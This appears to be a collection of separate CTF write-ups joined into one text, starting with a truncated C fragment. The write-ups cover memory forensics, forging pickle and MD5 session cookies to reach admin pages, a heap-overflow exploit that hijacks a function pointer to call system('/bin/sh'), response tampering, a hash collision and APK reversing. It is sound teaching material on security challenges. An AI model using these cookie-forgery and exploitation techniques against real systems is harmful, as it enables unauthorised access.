int main(int argc, char*argv[]) { int x0,y0,x1,y1; int row = 0; while(scanf("%d, %d, %d, %d", &x0, &x1, &y0, &y1) == 4) { for(int x=x0;x |
tl;dr: Extract MS Paint display buffer from a VM memory dump.
# Challenge"Find the flag" in a provided `dump1.raw.lzma` file.
# Identify Provided MaterialsUpon examination, `dump1.raw` was found to be an ELF executable containing the magic codes `VBCORE` and `VBCPU`. Clearly, this is a core dump of a VirtualBox instance.
![Hex Dump of dump1.raw](dump1.raw-hex.png)
Next we scan the memory dump for a KDBG header to determine the correct OS profile to use:```$ volatility -f dump1.raw kdbgscanVolatility Foundation Volatility Framework 2.5**************************************************Instantiating KDBG using: Unnamed AS Win10x64 (6.4.9841 64bit)Offset (V) : 0xf80185d1db20Offset (P) : 0x271db20KdCopyDataBlock (V) : 0xf80185c03668Block encoded : YesWait never : 0x149bddc002d5936dWait always : 0x5ab2422337bd0KDBG owner tag check : TrueProfile suggestion (KDBGHeader): Win10x64Version64 : 0xf80185d1de80 (Major: 15, Minor: 10240)Service Pack (CmNtCSDVersion) : 0Build string (NtBuildLab) : 10240.16393.amd64fre.th1_st1.150PsActiveProcessHead : 0xfffff80185d33380 (49 processes)PsLoadedModuleList : 0xfffff80185d39030 (135 modules)KernelBase : 0xfffff80185a14000 (Matches MZ: True)Major (OptionalHeader) : 10Minor (OptionalHeader) : 0KPCR : 0xfffff80185d77000 (CPU 0)```Turned out it is a 64-bit Windows 10 VM.
# Display Running Processes```$ volatility -f dump1.raw --profile=Win10x64 pslistVolatility Foundation Volatility Framework 2.5Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------0xffffe00032553780 System 4 0 126 0 ------ 0 2016-04-04 16:12:33 UTC+0000 0xffffe0003389c040 smss.exe 268 4 2 0 ------ 0 2016-04-04 16:12:33 UTC+0000 0xffffe0003381b080 csrss.exe 344 336 8 0 0 0 2016-04-04 16:12:33 UTC+0000 0xffffe000325ba080 wininit.exe 404 336 1 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe000325c7080 csrss.exe 412 396 9 0 1 0 2016-04-04 16:12:34 UTC+0000 0xffffe00033ec6080 winlogon.exe 460 396 2 0 1 0 2016-04-04 16:12:34 UTC+0000 0xffffe00033efb440 services.exe 484 404 3 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe00033f08080 lsass.exe 492 404 6 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe00033ec5780 svchost.exe 580 484 16 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe00034202280 svchost.exe 612 484 9 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe000341cb640 dwm.exe 712 460 8 0 1 0 2016-04-04 16:12:34 UTC+0000 0xffffe00034222780 svchost.exe 796 484 45 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe000342a7780 VBoxService.ex 828 484 10 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe000342ad780 svchost.exe 844 484 8 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe000342c0080 svchost.exe 852 484 6 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe000342dd780 svchost.exe 892 484 18 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe000342bc780 svchost.exe 980 484 17 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe00034377780 svchost.exe 608 484 17 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe000343e7780 spoolsv.exe 1072 484 8 0 0 0 2016-04-04 16:12:34 UTC+0000 0xffffe000343e9780 svchost.exe 1092 484 23 0 0 0 2016-04-04 16:12:35 UTC+0000 0xffffe0003442a780 rundll32.exe 1148 796 1 0 0 0 2016-04-04 16:12:35 UTC+0000 0xffffe00034494780 CompatTelRunne 1224 1148 9 0 0 0 2016-04-04 16:12:35 UTC+0000 0xffffe00034495780 svchost.exe 1276 484 10 0 0 0 2016-04-04 16:12:35 UTC+0000 0xffffe0003461d780 svchost.exe 1564 484 5 0 0 0 2016-04-04 16:12:35 UTC+0000 0xffffe000345da780 wlms.exe 1616 484 2 0 0 0 2016-04-04 16:12:35 UTC+0000 0xffffe00034623780 MsMpEng.exe 1628 484 24 0 0 0 2016-04-04 16:12:35 UTC+0000 0xffffe000343b2340 cygrunsrv.exe 1832 484 4 0 0 0 2016-04-04 16:12:35 UTC+0000 0xffffe0003479b780 cygrunsrv.exe 1976 1832 0 -------- 0 0 2016-04-04 16:12:36 UTC+0000 2016-04-04 16:12:36 UTC+0000 0xffffe000347aa780 conhost.exe 2004 1976 2 0 0 0 2016-04-04 16:12:36 UTC+0000 0xffffe000347c1080 sshd.exe 2028 1976 3 0 0 0 2016-04-04 16:12:36 UTC+0000 0xffffe00033e00780 svchost.exe 1772 484 3 0 0 0 2016-04-04 16:12:37 UTC+0000 0xffffe00033f1f780 sihost.exe 92 796 10 0 1 0 2016-04-04 16:12:37 UTC+0000 0xffffe0003259b3c0 taskhostw.exe 1532 796 9 0 1 0 2016-04-04 16:12:37 UTC+0000 0xffffe000339d4340 NisSrv.exe 2272 484 6 0 0 0 2016-04-04 16:12:38 UTC+0000 0xffffe000336e8780 userinit.exe 2312 460 0 -------- 1 0 2016-04-04 16:12:38 UTC+0000 2016-04-04 16:13:04 UTC+0000 0xffffe000336e3780 explorer.exe 2336 2312 31 0 1 0 2016-04-04 16:12:38 UTC+0000 0xffffe0003374f780 RuntimeBroker. 2456 580 6 0 1 0 2016-04-04 16:12:38 UTC+0000 0xffffe00033a39080 SearchIndexer. 2664 484 13 0 0 0 2016-04-04 16:12:39 UTC+0000 0xffffe00033a79780 ShellExperienc 2952 580 41 0 1 0 2016-04-04 16:12:39 UTC+0000 0xffffe00033b57780 SearchUI.exe 3144 580 38 0 1 0 2016-04-04 16:12:40 UTC+0000 0xffffe00033e1d780 DismHost.exe 3636 1224 2 0 0 0 2016-04-04 16:12:47 UTC+0000 0xffffe000348e9780 svchost.exe 3992 484 6 0 0 0 2016-04-04 16:12:52 UTC+0000 0xffffe000348c6780 VBoxTray.exe 3324 2336 10 0 1 0 2016-04-04 16:12:55 UTC+0000 0xffffe00034b08780 OneDrive.exe 1692 2336 10 0 1 1 2016-04-04 16:12:55 UTC+0000 0xffffe00034b0f780 mspaint.exe 4092 2336 3 0 1 0 2016-04-04 16:13:21 UTC+0000 0xffffe00034ade080 svchost.exe 628 484 1 0 1 0 2016-04-04 16:14:43 UTC+0000 0xffffe0003472b080 notepad.exe 2012 2336 1 0 1 0 2016-04-04 16:14:49 UTC+0000 0xffffe000349e4780 WmiPrvSE.exe 3032 580 6 0 0 0 2016-04-04 16:16:37 UTC+0000 0xffffe000349285c0 taskhostw.exe 332 796 10 0 1 0 2016-04-04 16:17:40 UTC+0000 ```
# Examine Running ProcessesSince our objective was to find the flag, our detective hunches kicked in and we started examining a number of interesting processes such as `notepad.exe`.
[KaiJern Lau](https://twitter.com/kaijern) suggested examining `mspaint.exe`. We first dumped its process memory:```bash$ volatility -f dump1.raw --profile=Win10x64 memdump -p 4092 -D .```
Then we used [Bernardo Rodrigues](https://twitter.com/bernardomr)'s [w00tsec Method](http://w00tsec.blogspot.hk/2015/02/extracting-raw-pictures-from-memory.html) to extract its display buffer. We tried to open the dumped file with GIMP as raw image data and was presented with a preview dialog in which we could specify the pixel format, image width and so on.
We tried the "RBG Alpha" format, and scrolled the "offset" slider to the right to look for an area which resembles a framebuffer characterized by a contigeous block of non-random data. Such an area was found around offset 8099195. So we moved the width slider to find a setting which could well align the framebuffer contents and found this:
![Raw Image](rawimg.png)
# Further Research1. Next time there's an interest in "seeing the screen" from a VirtualBox core dump, it may be worth examining the VGA memory segments, see [MoVP II 1.2 VirtualBox ELF64 Core Dumps](http://volatility-labs.blogspot.hk/2013/05/movp-ii-12-virtualbox-elf64-core-dumps.html).2. To use a memory analysis tool that does not support VirtualBox core dumps, carve out the raw memory dump first with:```bash$ objdump -h dump1.raw | egrep -w "(Idx|load1)"Idx Name Size VMA LMA File off Algn 1 load1 30000000 0000000000000000 0000000000000000 000024a8 2**0$ size=0x30000000; offset=0x24a8; head -c $(($offset+$size)) dump1.raw | tail -c +$(($offset+1)) > mem.dmp``` |
# BCTF 2016 : catvideo (150)
**Category:** forensics |**Points:** 150 |**Name:** catvideo |**Solves:** 135 |**Description:**
> cat_video.mp4 Google Drive> > cat_video.mp4 pan.baidu.com> > cat_video.mp4 Dropbox> > cat_video.mp4 MEGA
___
## Write-up
### Part OneOpening the mp4 we get this splash of colors, and squinting real hard you can make out the outlines of a cat.
On the first 100 or so frames, you can see there's text under the cat, so we just assumed the flag is there. Throwing on the motion detection of VLC, you can sort of make out the flag which is:
![](Screenie.png)
```BCTF{cute&fat_cats_does_not_like_drinking}``` |
## Spotted Quoll Web 50
# Problem
This blog on Zombie research looks like it might be interesting - can you break into the /admin section?
# Solution
We get web page with quite simple interface:
![Spotted Quoll](assets/1.png)
We have no access to _Admin_
Quick look at request headers shows Cookie header contains long Base64 string:
![Spotted Quoll](assets/2.png)
String contains Python Pickle module object.
Couple of operations with Python allows us to:
- decode Base64 string to Pickle object- unpack Pickle module- modify 'user' key in dictionary to 'admin'- pack it back into Pickle module and encode as Base64
```Python#!/usr/bin/pythonimport cPickleimport base64
c = cPickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu"))# {'python': 'pickles', 'subtle': 'hint', 'user': None}
n = {'python': 'pickles', 'subtle': 'hint', 'user': 'admin'}
c2 = base64.b64encode(cPickle.dumps(n))
# KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4=```
Simple change of _obsoletePickle_ cookie allows us to access Admin and read the flag. |
# Forced Puns
Let's do a `file` as a first thing:```bash$ file ./app/forced-puns./app/forced-puns: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.7.0, BuildID[sha1]=a677e5ead33f8ac9d3948e8157cdcfa39b3f9701, not stripped```
Aarch64, never seen its assembly before, but there's always a first time.Let's load it with r2.
```$ r2 -AA ./app/forced-puns
[0x00000e20]> e asm.emu=true[0x00000e20]> e asm.emustr=true[0x00000e20]> e asm.describe=true # this was really helpful for me to have an idea of what instructions do
[0x00000e20]> s main```
I spent a lot of time trying to run the binary. At the end I used`qemu-aarch64-static` on a Debian vagrant box, attaching gdb to do somedebugging during the exploitation.
Playing with the binary a little bit, I noticed that there was a buffer overflowwhen creating a new entry with a name longer than 232 bytes.
```$ qemu-aarch64-static -g 12345 -E LD_PRELOAD=./lib/aarch64-linux-gnu/libc.so.6 -L ./lib ./app/forced-puns$ gdb-multiarch ./app/forced-puns> target remote localhost:12345> c```
The segfault is happening in the function `end_of_entry`. Thanks to thisfunction I was able to understand a little bit the structure allocated on theheap, that was something like this:
```// size of the structure is 256struct entry { char *large; long small; struct entry *next; char name[232];}```
It seems like `end_of_entry` segfaults because my input ends up in the `next` fieldof the next entry I was going to allocate. That function is called everytimeyou set the name of a new entry to know the place the input will be copied to.So if I can put in the `next` field the address of the printf got (or anyother function) I can execute the code I want.
But first we should get some leaks, because ASLR is enabled and the binary isPIE. Setting the `large` field of an entry and printing it allows you to get theaddress of a chunk of memory in the heap. Moreover when you print an entry, thesmall value is printed as "%s" and this allows you to leak other addresses. Iused the overflow in the name to overwrite the `small` field of the next entry,so that I could get the leak when printing the entries.
But how to know where the binary was loaded? Looking at the heap I saw a pointerto `end_of_entry`, that I used to get a leak of the binary address and, afterthat, I used the got entries in the binary to leak addresses of the libc.
At this point I had every address I wanted, I just needed to find a functionpointer to overwrite. At first I tried to overflow something in .got.plt, but Irealized I couldn't do that because some requirements were needed in order forthe overwrite to work as expected. This is more or less what `end_of_entry` doesand how it's used:```struct entry *end_of_entry(struct entry *root) { while (root->next) { root = root->next; } return root;}
struct entry *p = end_of_entry(root_ptr);strcpy(p->name, input);```
The idea was to to overwrite the `next` field of an entry in such a way that`end_of_entry` would return the value where I wanted to overwrite (minus 0x18,the offset of the field name in the structure `entry`). In order for this towork, there has to be a 0 in the qword just before the address I want tooverwrite, so that it will be interpreted as the `next` field of the entry andthe fake entry would be considered the last one. So I couldn't really writeeverywhere...
I tried to overwrite the `end_of_entry` pointer at the start of the heap, butbecause of some differences in the memory layout between my local environmentand the one on the server I wasn't able to solve the challenge in this way.
After a while I found a pointer to a pointer to the `end_of_entry` function (inthe .got) and luckily it was preceeded by a 0. I then use my write primitive toput in the bss the address of the system (and the address of the bss where i putthe address of the system). Now, whenever the program calls `end_of_entry` itwould instead call system. Last thing I needed to do was to make root points tothe `/bin/sh` string, but it was quite easy at this point to overwrite the firstbytes of the first entry in the heap to insert the string.
You can find the full exploit in exp.py.
As a side note, r2 was able to get the name of the library functions called inthe binary, while IDA didn't. :P |
# Ernst Echidna (Web, 50pts)
## Problem
Can you hack (url provided) website? The robots.txt sure looks interesting.
## Solution
We've got simple web page, which allows us to register an account:
![Ernst Echidna](assets/1.png)
Register form:
![Ernst Echidna](assets/2.png)
_robots.txt_ reveals one hidden path:
```Disallow: /admin```
At above url there's hidden administration panel and we need to has administration rights to access it.
After successful registration a cookie with MD5 hash of our login is set:
![Ernst Echidna](assets/3.png)
Simple change cookie content to MD5('admin') and refreshing browser tab allows to access panel:
![Ernst Echidna](assets/4.png)
...and reveals the flag:
![Ernst Echidna](assets/5.png) |
## For2 (Forensics, 200 points) tl;dr plot mouse movements from pcap
The given [pcap file](capture.pcap) contains usb mouse traffic, knowing that certain bytes in LeftoverCaptureData contain relative mouse movement, we can easily export the needed data and plot the movements: [plotMouse.py](plotMouse.py)
After running it we get a nice graph that has our upside down flag ;)
![alt](scr1.png)
If our LeftoverCaptureData is "01234567", then
```"01" = button pressed (0 = nothing, 1 = rpm, etc...)
"23" = signed x movement
"45" = signed y movement```
We used python+bokeh for plotting, the unsigned to signed conversion was kinda tricky: `if x >= 1<<7: x -= 1<<8` |
Add a MX record for your domain : ctfcompetition.com.yourdomain<span>Listening on SMTP portSign up a Google account with email </span>[email protected] sign in the website to get the flag |
# Writeup for Death Sequence (Algorithms 100)
This challenge was about following sequence:> 1, 1, 1, 1, 10, 46, 217, 1027, 4861, 23005, ...
Our task was to determine last 9 digits of nth element of the sequence and last 9 digits of sum of n first elements.The main difficulty of this task was that n could be even 10^18. It is worth to mention, than we are counting positions from 1, not from zero (following task's description).
Firstly we managed to write formula for our sequence:>f(x) = 1, for x in in range <1,4> (inclusive) >f(x) = 10, for x = 5 >f(x) = 5*f(x-1)-f(x-2)-f(x-3)-f(x-4)-f(x-5)
Another helpful observation is:>Let name sum(x) that sum(x) = f(1)+f(2)+...+f(n), now: >sum(1) = 1 >sum(2) = 2 >sum(3) = 3 >sum(4) = 4 >sum(5) = 14 >sum(x) = 5*sum(x-1)-sum(x-2)-sum(x-3)-sum(x-4)-sum(x-5), for x > 5
Now we have to face the problem of very large n.We can't simply calculate f(x) and sum(n) in linear time.[Here](http://fusharblog.com/solving-linear-recurrence-for-programming-contest/) is an article about very useful technique which allows us to calculate such information in log(n) time.
I will try to explain this algorithm shortly, but if you want to fully understand it, it would be better to read this article.
So, we created two 6x6 matrices, one for nth element and one for sum:``` pythonbaseMatrix = [[ 5, -1, -1, -1, -1, 10], [ 1, 0, 0, 0, 0, 1], [ 0, 1, 0, 0, 0, 1], [ 0, 0, 1, 0, 0, 1], [ 0, 0, 0, 1, 0, 1], [ 0, 0, 0, 0, 0, 0]]
baseMatrixSum = [[ 5, -1, -1, -1, -1, 14], [ 1, 0, 0, 0, 0, 4], [ 0, 1, 0, 0, 0, 3], [ 0, 0, 1, 0, 0, 2], [ 0, 0, 0, 1, 0, 1], [ 0, 0, 0, 0, 0, 0]]```
Now if we calculate ```pow(baseMatrix, n)```, the nth number of sequence will be present in ```pow(baseMatrix, n)[0][5]``` and ```pow(baseMatrixSum, n)``` will give us sum of first n elements in ```pow(baseMatrixSum, n)[0][5]```
The operation of ```pow(a, n)``` can be calculated in log(n) time.Code for ```pow(int a, int n)``` (it works same for matrix, except you have another multiplication operator):```c++int pow(int a, int n){ if(n==0)return 1; if(n==1)return a; if(n%2==0){ int tmp = pow(a, n/2); return tmp*tmp; } return pow(a, n-1)*a;}```
Unfortunately resulting numbers can still be very large, but all we want are last 9 digist, so we can calculate everything modulo.
Finally, the code - it is made of two pieces, one for communicating with server and another one for calculating sequences (this approach was useful because during the contest we've tried several implementations of sequence part). Both are in python 2.7:```python#server partimport socketimport sslimport subprocessimport time#openssl s_client -connect programming.pwn2win.party:9001
HOST = "programming.pwn2win.party"PORT = 9001
HOST = socket.getaddrinfo(HOST, PORT)[0][4][0]print(HOST)
sock = socket.socket()sock.connect((HOST, PORT))
sock = ssl.wrap_socket(sock,cert_reqs=ssl.CERT_NONE)
ctr=0while 1: serv = sock.read(); print "from server: " + serv.rstrip() if serv.startswith("WRONG"): break proc = subprocess.Popen(["python py_seq.py " + serv], stdout=subprocess.PIPE, shell=True) (ans, err) = proc.communicate() print "sending " + ans.rstrip() + " as result" sock.write(ans) ctr+=1print "finished after " + str(ctr) + " steps"```
```python#sequence partfrom copy import deepcopyimport sys
baseMatrix = [[ 5, -1, -1, -1, -1, 10], [ 1, 0, 0, 0, 0, 1], [ 0, 1, 0, 0, 0, 1], [ 0, 0, 1, 0, 0, 1], [ 0, 0, 0, 1, 0, 1], [ 0, 0, 0, 0, 0, 0]]
baseMatrixSum = [[ 5, -1, -1, -1, -1, 14], [ 1, 0, 0, 0, 0, 4], [ 0, 1, 0, 0, 0, 3], [ 0, 0, 1, 0, 0, 2], [ 0, 0, 0, 1, 0, 1], [ 0, 0, 0, 0, 0, 0]]
identityMatrix = [[ 1, 0, 0, 0, 0, 0], [ 0, 1, 0, 0, 0, 0], [ 0, 0, 1, 0, 0, 0], [ 0, 0, 0, 1, 0, 0], [ 0, 0, 0, 0, 1, 0], [ 0, 0, 0, 0, 0, 1]]
emptyMatrix = [[ 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0], [ 0, 0, 0, 0, 0, 0]]
def dispMatrix(m): for i in range(0,6): toDisp="" for j in range(0,6): toDisp += str(m[i][j]) toDisp += " " print toDisp
def multiMod(left, right, mod): retVal = deepcopy(emptyMatrix) tmpMod = 1000000000000 for i in range(0,6): for j in range(0,6): retVal[i][j]=0 for k in range(0,6): retVal[i][j] += (left[i][k])*(right[k][j]) retVal[i][j] %= tmpMod return retVal
def powerModulo(m, n, mod): if n == 0: return deepcopy(identityMatrix) if n == 1: return deepcopy(m) if n % 2 == 0: tmp = powerModulo(m, n/2, mod) return multiMod(tmp, tmp, mod) return multiMod(powerModulo(m, n-1, mod), m, mod)
modNum = 1000000000inputFromServ = long(sys.argv[1])-4matrixA = powerModulo(baseMatrix, inputFromServ, 1000000000000000)matrixB = powerModulo(baseMatrixSum, inputFromServ, 1000000000000000)
str1 = str(matrixA[0][5]%modNum)str1 = '0'*(9-len(str1)) + str1str2 = str(matrixB[0][5]%modNum)str2 = '0'*(9-len(str2)) + str2print str1+" "+str2```
And after a while we were given a flag:>CTF-BR{It-wAs-jUsT-a-ReCURsIVe-SequenCE-to-BE-coded-In-LOGN-XwmIBVyZ5QEC} |
---title: "Write-up - Sunshine CTF 2016 - Randy"date: 2016-03-14 00:00:00tags: [Write-up, Sunshine CTF 2016]summary: "Write-up about Sunshine CTF 2016 - Randy"---
In this challenge, we have a binary file and we need to connect over the network using Netcat. After a program analysis on the binary file, we can see that we need to create a code that will retrieve the random value which is produced. We will finally receive the flag.
```import telnetlibimport struct
x = lambda a: struct.pack('I', a)
def fukmin(x): return hex((int(x, 16) - 0x41) & 0xff)
host = "4.31.182.242"port = "9002"
s = telnetlib.Telnet(host, port)
welcome = s.read_until(b"\n")(a, b, c, d) = (welcome[41:42].encode("hex"), welcome[42:43].encode("hex"), welcome[43:44].encode("hex"), welcome[44:45].encode("hex"))
debuginfo = a + b + c + dprint "debuginfo = 0x" + debuginfoprint " - - - - - "
magic = fukmin(a) +\ fukmin(b)[2:]+\ fukmin(c)[2:]+\ fukmin(d)[2:]print "magic = " + magicprint " - - - - - "
s.write(x(int(magic, 16)))print s.read_all()```
We will have the following message:
```''' OUTPUT:debuginfo = 0x6ba9580a - - - - - magic = 0x2a6817c9 - - - - - We've dealt you your hand face down, please enter it:You guessed that hand perfectly! Here's your prize: sun{c4rds_in_th3_tr4p}'''
''' BONUS: <encoding function> 0x8048608 <main+120>: sar ecx,0x18 0x804860b <main+123>: and ecx,0xff 0x8048611 <main+129>: add ecx,eax ... 0x8048625 <main+149>: sar ecx,0x10 0x8048628 <main+152>: and ecx,0xff 0x804862e <main+158>: add ecx,eax ... 0x8048642 <main+178>: sar ecx,0x8 0x8048645 <main+181>: and ecx,0xff 0x804864b <main+187>: add ecx,eax ... 0x804865f <main+207>: and ecx,0xff 0x8048665 <main+213>: add ecx,eax'''```
We can try to _decrypt_ it by using this snippet of code:
```def saradd(e): a=hex((((e >> 0x18) & 0xff) + 0x41 ) & 0xff) b=hex((((e >> 0x10) & 0xff) + 0x41 ) & 0xff) c=hex((((e >> 0x8) & 0xff) + 0x41 ) & 0xff) d=hex((e & 0xff) + 0x41) return a + b[2:] + c[2:] + d[2:]```
The flag to solve this challenge is `sun{c4rds_in_th3_tr4p}`. |
https://github.com/Blystad/googlectf_writeups/tree/master/networking/opabina_regalis_redirectWhen we get the 401 Unauthorized reply from the server, instead of forwarding that, we modify it to a 302 REDIRECT, add aLocation header pointing to /protected/secret, send a few messages back and forth until finally we get the token. |
# Jekyll solution
## TL;DR;Jekyll gives you a hashing function and you're prompted to find a value that hashed with two different seeds gives you two different predefined values.The round function behind the hash is reversible and the "digest" of the hash function is one of the 3 internal states of the round function.Because the round function is invertible, it's possible to brute force the missing internal states that lead to the given hash value, revert those to the values that produced them and then run the hashing function forward again with the other seed, expecting to find the other hash value. Luckily, a positive result happens pretty fast (why? would be an interesting question to answer) and a solution is found in a few minutes of bruteforce (/exhaustive search of potential missing states).
## The longer versionNow that the solution is somewhat spoiled, the rest of this document is going to explain how I arrived to those conclusions.This is meant to be a learning opportunity for the reader; more than how to solve it, I'm going to explain how I came to solve it, with the good an bad decisions.So here we go!
## The mix function
```pythondef mix(a, b, c): a &= 0xFFFFFFFF; b &= 0xFFFFFFFF; c &= 0xFFFFFFFF;
a -= b+c; a &= 0xFFFFFFFF; a ^= c >> 13 b -= c+a; b &= 0xFFFFFFFF; b ^=(a << 8)&0xFFFFFFFF c -= a+b; c &= 0xFFFFFFFF; c ^= b >> 13 a -= b+c; a &= 0xFFFFFFFF; a ^= c >> 12 b -= c+a; b &= 0xFFFFFFFF; b ^=(a << 16)&0xFFFFFFFF c -= a+b; c &= 0xFFFFFFFF; c ^= b >> 5 a -= b+c; a &= 0xFFFFFFFF; a ^= c >> 3 b -= c+a; b &= 0xFFFFFFFF; b ^=(a << 10)&0xFFFFFFFF c -= a+b; c &= 0xFFFFFFFF; c ^= b >> 15
return a, b, c```
And the initial state:
```python a = 0x9e3779b9 b = a c = seed```
Looking at the function with all the ands an bit shift, I blindly assumed the function was lossy (ie what we get out doesn't have as much information as the original input). Well, it turns out it is invertible (and therefore not lossy at all!)... I'm sure starting at the bits might reveal the hidden truth, but my approach to find it out was a little more pragmatic. Something that should be obvious and raise question is the seeding value `0x9e3779b9`. Why, how ? Well, it turns out it's the inverse (ish) of the golden ratio:
From stack overflow: http://stackoverflow.com/questions/4948780/magic-number-in-boosthash-combine```phi = (1 + sqrt(5)) / 22^32 / phi = 0x9e3779b9```
The two best reasons for picking this number is, it's not an arbitrary choice, and, (I think) because it's not a rational number it may have better properties for hashing functions (justification for that lays in the hand of hashing experts....)
In any case, looking on google for this number leads to the source code of "lookup2.c" where the mix function was first defined (I think) and explanation of the engineering decisions behind it. It turns out jekyll is a modified version of the hashing function used in lookup2, which is the source code of a hash table using a non cryptographic hash function (it's probably good for us).The authors states the mixing function is reversible, and the reverse is somewhat obvious....
## Solving the hash problem
My first approach to the problem, was "meh, looks like something Z3 can handle". Z3 is a SAT solver that helps people prove mathematical things, and usually give you a proper result to your question (assuming there's a solution). It turns out asking Z3 to find the solution to the question "what value gives those two hashes" is too complicated (ie it runs for 6h with no result). My rationalization is that the point of the mix function is to mix bits and a simple bit flip is expected to have cascading effect, so for Z3 there's a lot of equations to draw out of all those bits relationships. (See the solve.py script file for details about this approach)
My second approach, (after spending a while modelling the problem for Z3) was to ask Z3 to find the inverse of the mix function (because I'm lazzy and wanted to believe in the magic black box that is Z3).It turns out that Z3 can confirm mix is invertible (well, it says "True" if you asked the question...) but getting an inverse function is not really something I could get from it.
So my third approach was reading more about this mix function. I couldn't find the theory behind it, but it seemed obvious to the author it's reversible. So out of desperation (and hopes) I just tried to run in backward (ie from the last instruction to the first). Addition/subtraction and xor are reversible operations, so let's have some faith.It turns out that was the solution. Testing on some values showed that running mix "backward" was reversing it (I'm still not convinced there is no edge case to that, but well, ...)
## Breaking the hash
From there, we have a way to reverse the mix function, so what do we do next ? Assuming the the values are short (ie just the size of a hashing block), the mixing function is run once with its initial state, on the data and then run again (with 0 added to the various states).If we assume we had exactly an input value that splits in 3 ints (4 bytes each) we're only running one round of the mix function on the actual data, and an extra mix round on the current state of the hash generator. Then the result of the jekyll function is the "c" state of the hash generator.
The easiest approach to solve this problem (with the knowledge of the inverse of the mix function) is to take for granted the first desired hash as the "c" value of the generator, try all possible values for the "a" and "b" states from the generator, run the inverse mix function to deduce the values that where supposedly entered and compute the second hash using those (with an updated seed value), looking for a match with the second desired hash value.Writing a c program to run the bruteforce seemed the fastest approach (see the bruteforce folder )
It turns out it's pretty easy to get a collision with the second desired values (takes 5 minutes of bruteforce). Then it's just a matter of setting a cookie accordingly and visit the ctf website.
## Conclusion
This was a humbling experience: instead of running blindly a SAT solver to find the solution for you, thinking a bit about the problem was way more efficient. And as a security perspective, hash function meant for hash tables do not have the same security requirements as cryptographic hash functions (ie problems solved are really not the same), so using them indiscriminately should be avoided.
|
## boomshakalaka (mobile, 3 points) play the game, get the highest score
[boomshakalaka](plane.apk)
We're given an android apk, after decompiling it, we learned that our flag is stored in Cocos2dxPrefsFile.xml in shared_prefs folder.When we looked in the specified file, it turned out that the flag is only partially complete:
`0ctf{C0coS2d_AnDro1d_G7s÷ضg´3?6ُ3&Eô?نG&َ`
After a while of searching, we find out that the rest of our flag mechanics is actually compiled in the `libcocos2dcpp.so` library.At first, we only noticed one check for score that displayed "Look at your xml file":
![fail1](fail1.png)
So we tried setting the score manually with some game-cheating applications, which gave us some promising results:
![fail2](fail2.png)
But it turned out that it wasn't enough, the flag was still not complete.Finally, after spending some more time on it, we discovered checks for various numbers of points.
Example:
```c++case 0xBB8: v11 = cocos2d::CCUserDefault::sharedUserDefault(v4, v5, 3000); std::operator+<char,std::char_traits<char>,std::allocator<char>>((int)&v26, (int *)&v21, "Bt"); cocos2d::CCUserDefault::setStringForKey(v11, (int)&v35, (int)&v26); v8 = &v2;; break;````Joining all of the strings together, finally gave us the valid flag:
`0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}` |
# Ill Intentions
*Solved by @\_pox\_ and @cogitoergor00t*
We have a file called **illintentions.apk**
Let's decompile it
```apktool d illintenions.apk```
Ok, so now we have the smali code and some useful informations in *AndroidManifest.xml*
Let's have a look
```cat AndroidManifest.xml```
Interesting, we have 4 Activities in this application:
```<activity android:label="Main Activity" android:name="com.example.application.MainActivity"><activity android:label="Activity: Is This The Real One" android:name="com.example.application.IsThisTheRealOne"/><activity android:label="This Is The Real One" android:name="com.example.application.ThisIsTheRealOne"/><activity android:label="Definitely Not This One" android:name="com.example.application.DefinitelyNotThisOne"/>```
Ok, time to use the emulator:
```adb install illintentions.apk```
and start the application.We can see only the first activity **MainActivity** and nothing more: one interesting thing we can do is to call the other activities using
```adb shell am start -n com.example.hellojni/com.example.application.IsThisTheRealOneadb shell am start -n com.example.hellojni/com.example.application.ThisIsTheRealOneadb shell am start -n com.example.hellojni/com.example.application.DefinitelyNotThisOne```
(We have to add *android:exported="true"* in the activity-tag or using a device with root permissions)
The only thing we can do when that activity is changed, is to click the button "Broadcast Intent".
Time to read some code... we can see the application is using JNI, so maybe the interesting functions are in those native libraries. We don't want to spend time reversing that code, so let's read some **smali**. Ok, in all the activities there is a onClick handler, let's have a look:
``` .method public onClick(Landroid/view/View;)V ...
const v6, 0x7f030006 invoke-virtual {v5, v6}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String; move-result-object v5 invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v4 const-string v5, "YSmks" invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
...
invoke-static {v4}, Lcom/example/application/Utilities;->doBoth(Ljava/lang/String;)Ljava/lang/String; move-result-object v1
... # Native function invoke-virtual {v5, v0, v1, v2}, Lcom/example/application/ThisIsTheRealOne;->orThat(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; move-result-object v5
```
Ok, we can see that the activity loads some strings, it appends "YSmks", calls doBoth function in the Utilities class and so on... The interesting part is the native function call.If we click the button in the activity screen, we can't see any output: let's add some smali code to see what is the results of the native function calls in the three activities.
